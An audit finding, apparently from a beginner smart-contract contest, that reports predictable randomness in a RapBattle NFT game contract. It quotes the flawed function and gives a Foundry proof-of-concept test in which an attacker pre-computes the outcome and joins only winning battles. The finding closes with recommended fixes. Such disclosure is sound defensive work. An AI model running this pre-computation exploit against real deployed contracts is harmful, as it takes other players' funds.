Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Inadequate randomness in `RapBattle::_battle()` allows attackers to battle without risks of losing.

Summary

The RapBattle::_battle() function uses deterministic values for randomness, letting attackers join battles risk-free.

Vulnerability Details

RapBattle::_battle() uses deterministic values like block.timestamp, block.prevrando, and msg.sender to calculate a random number,
known to all. An attacker can create a contract an exploit this by pre-checking if they can win before joining the battle, ensuring
no risk of loss.

function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
@> uint256 random =
@> uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
@> if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}

Impact

Here's a fuzz test: the attacker checks if they can win the battle before calling rapBattle.goOnStageOrBattle. The assert ensures
that the test fails if the attacker's balance increases after the battle.

function testNoRandom(uint256 randomTime) public twoSkilledRappers {
// Change the block number so we get different RNG
vm.warp(randomTime);
console.log("Attacker balance before :", cred.balanceOf(address(challenger)));
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
uint256 defenderRapperSkill = rapBattle.getRapperSkill(0);
uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(challenger)))) % totalBattleSkill;
//Calculate if attacker wins
@> if (random > defenderRapperSkill) {
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
console.log("Attacker balance after :", cred.balanceOf(address(challenger)));
assert(cred.balanceOf(address(challenger)) == 4);
}
}

Output

Logs:
Attacker balance before : 4
Attacker balance after : 7

Tools Used

Manual review and Foundry

Recommendations

For secure on-chain random number generation, consider external oracles, verifiable off-chain computations, or robust cryptographic
methods like commit-reveal schemes and VRFs.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.